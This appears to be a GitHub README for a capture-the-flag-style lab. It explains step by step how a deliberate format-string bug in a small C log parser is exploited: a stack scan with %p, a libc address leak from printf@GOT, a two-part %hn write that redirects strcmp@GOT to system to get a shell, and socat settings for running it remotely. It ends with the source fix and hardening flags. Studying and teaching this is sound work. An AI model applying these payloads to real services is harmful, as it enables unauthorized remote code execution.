Skip to content

Latest commit

 

History

History

format-string

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

README.md

LogParser — Format String → GOT Overwrite → RCE

📝 Overview

LogParser is a small log-parsing utility written in C with an intentional format-string vulnerability in parse_line():

printf(line);          // ← user input flows straight into printf

When a user-supplied string is passed directly to printf() without a format specifier, an attacker controls the format string, giving arbitrary read (%s, %p) and write (%n) primitives. This project exploits both primitives to achieve Remote Code Execution:

format-string read  → libc leak → ASLR bypass
format-string write → GOT overwrite → system("/bin/sh")

The exploit works identically locally and remotely — the only difference between the two scripts is process() vs remote().


🛡️ Security Mitigations (intentional for the lab)

Mitigation State Notes
Arch i386 32-bit — 4-byte pointers, easy positional offsets
RELRO None GOT is writable → GOT overwrite is possible
Stack Canary None Not needed (no stack overflow in this lab)
NX Enabled Irrelevant — no shellcode written
PIE Off GOT addresses are static (0x0804bxxx)
ASLR Enabled Bypassed via the %s libc leak

Compilation:

gcc -m32 -fno-stack-protector -no-pie -z norelro LogParser.c -o logparser

🗂️ Project Layout

format-string/
├── LogParser.c        ← vulnerable source (with WARNING comment)
├── logparser          ← compiled binary
├── exploit.py         ← REMOTE exploit  (remote 127.0.0.1:9090)
├── ex1.py             ← LOCAL  exploit  (process ./logparser)
└── README.md          ← this file

Two scripts, one payload. diff exploit.py ex1.py shows only the process() vs remote() line plus the HOST/PORT constants. Everything else (offset 12, GOT addresses, %n math) is identical.


🔬 Vulnerability Walkthrough

Stage 0 — Confirm the format-string read primitive

$ echo "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p" | ./logparser
[LOG] AAAAAAAA.0xf7d1...0x80491e2...0x41414141...

The 12th %p printed 0x41414141 → our input's first 4 bytes land at stack position 12. This is the anchor for both the leak and the write stages.

Stage 1 — Leak libc base via %s on printf@GOT

printf@GOT = 0x0804b360 (from objdump -R logparser).

payload = p32(printf@GOT) + b"|%12$s|"
  • %12$ selects our pointer (position 12).

  • %s dereferences it → prints the runtime address stored at printf@GOT — i.e. the real, ASLR-randomized printf in libc.

  • Parsing the reply yields printf_runtime.

    libc_base = printf_runtime - libc.symbols['printf']

Why not leak strcmp? strcmp is an IFUNC in modern glibc: its GOT slot holds __strcmp_sse2_unaligned (a dispatched implementation), whose offset ≠ libc.symbols['strcmp']. Subtracting the wrong symbol offset yields a non-page-aligned base → wrong system → crash. printf is a normal symbol, safe to use.

Sanity assertions in the script:

Assert Catches
libc_base & 0xfff == 0 wrong libc path / IFUNC mismatch
0x30000 < (printf_runtime - libc_base) wrong libc version
(system & 0xff) != 0 null-byte in low half (ASLR flake)
((system >> 8) & 0xff) != 0 null-byte in high half (ASLR flake)

Stage 2 — Overwrite strcmp@GOT with system via %hn

strcmp@GOT = 0x0804b358. We write system's address in two 16-bit halves:

low  = system & 0xffff
high = (system >> 16) & 0xffff

Format string (branching on low < high):

payload  = p32(STRCMP_GOT) + p32(STRCMP_GOT + 2)
payload += f"%{low - 8}c%12$hn%{high - low}c%13$hn".encode()

Off-by-8 fix — the two p32() pointers (8 bytes) are already printed by printf before %12$hn runs, so subtract 8 from the first %c count. Forgetting this is the #1 cause of a "successful" strcmp@GOT → system ✔ message followed by SIGSEGV.

Stage 3 — Trigger

The main loop calls:

strcmp(input, "help")
strcmp(input, "quit")
...

Once strcmp@GOT = system, the next comparison becomes system("/bin/sh", "quit") → spawns a shell.


💥 Running Locally (ex1.py)

Terminal 1:

./logparser

Terminal 2:

python3 ex1.py

Expected:

[+] Starting local process './logparser': pid N
[+] printf runtime = 0xf7xxxxxx
[+] libc base      = 0xf7xxxxxx
[+] system         = 0xf7xxxxxx
[+] strcmp@GOT → system ✔
[*] Switching to interactive mode
$ id
uid=1000(...) ...

🌐 Running Remotely (exploit.py)

Terminal 1 — start the service:

socat TCP-LISTEN:9090,reuseaddr,fork EXEC:./logparser

Terminal 2 — run the remote exploit:

python3 exploit.py

Expected:

[+] Opening connection to 127.0.0.1 on port 9090: Done
[+] printf runtime = 0xf7xxxxxx
[+] libc base      = 0xf7xxxxxx
[+] system         = 0xf7xxxxxx
[+] strcmp@GOT → system ✔
[*] Switching to interactive mode
$ id
uid=1000(...) ...
$ exit
bye.

Verify socat is listening

ss -tlnp | grep 9090
# LISTEN 0 5 0.0.0.0:9090 ... users:(("socat",...))

⚠️ socat Gotcha — do not use pty

Do not wrap the binary like this:

socat ... EXEC:./logparser,pty,stderr      # ❌ BREAKS the exploit

The pty line discipline consumes control bytes before the target reads them:

Byte in p32() payload Terminal meaning Effect
\x04 VEOF (Ctrl-D) EOF → fgets returns NULL
\x08 VERASE (Ctrl-H) erases previous input char
\x03 VINTR (Ctrl-C) SIGINT to child process

Since GOT addresses like 0x0804b360 contain \x04 and \x08, the payload gets mangled → wrong bytes are written → SIGSEGV.

Correct options:

# Option A — raw pipe (recommended for CTF-style shell)
socat TCP-LISTEN:9090,reuseaddr,fork EXEC:./logparser

# Option B — pty with raw mode (full TTY shell)
socat TCP-LISTEN:9090,reuseaddr,fork EXEC:./logparser,pty,raw,echo=0,stderr

Both accept the same payload. Option A gives a plain pipe shell (id, ls, cat all work). Option B gives a full interactive TTY with a $ prompt and readline editing.


🔐 Fixing the Vulnerability

Source fix

// Before (vulnerable)
printf(line);

// After (safe)
printf("%s", line);       // or:
fputs(line, stdout);      // or:
puts(line);

Any of the three closes the format-string bug — user data becomes a string argument, not a format string.

Compiler hardening

Add these flags to build and to CI:

-Wformat-security -Werror=format-security \
-D_FORTIFY_SOURCE=2 -fstack-protector-strong \
-Wl,-z,relro,-z,now

-Wformat-security will fail the build on printf(line) — you cannot ship the vuln by accident once this is on.

Runtime mitigations (defense in depth)

Mitigation Why it matters here
Full RELRO GOT becomes read-only → GOT overwrite fails
PIE GOT moves → static 0x0804b358 addresses are useless
FORTIFY_SOURCE Adds runtime checks for printf when format is literal

Any one of Full RELRO or PIE would stop this exploit as-is.


🎯 Skills Demonstrated

Step Concept
%p scan → position 12 Format-string stack read primitive
%12$s on printf@GOT Arbitrary memory read → ASLR bypass
libc.symbols['printf'] subtraction libc base calculation (avoiding IFUNC)
%12$hn + %13$hn → strcmp@GOT Arbitrary memory write → RCE
Off-by-8 accounting Real-world precision most writeups miss
strcmp("/bin/sh", …) → system GOT hijack → command execution
process() → remote() Payload portability across transports
socat pty byte mangling Service wrapper pitfalls

⚖️ Disclaimer

This application is intentionally vulnerable and built for educational / CTF purposes only. Do not deploy in any environment reachable by untrusted users. The techniques demonstrated here are for authorized security testing and defensive engineering.

Credit: Ishan Oshada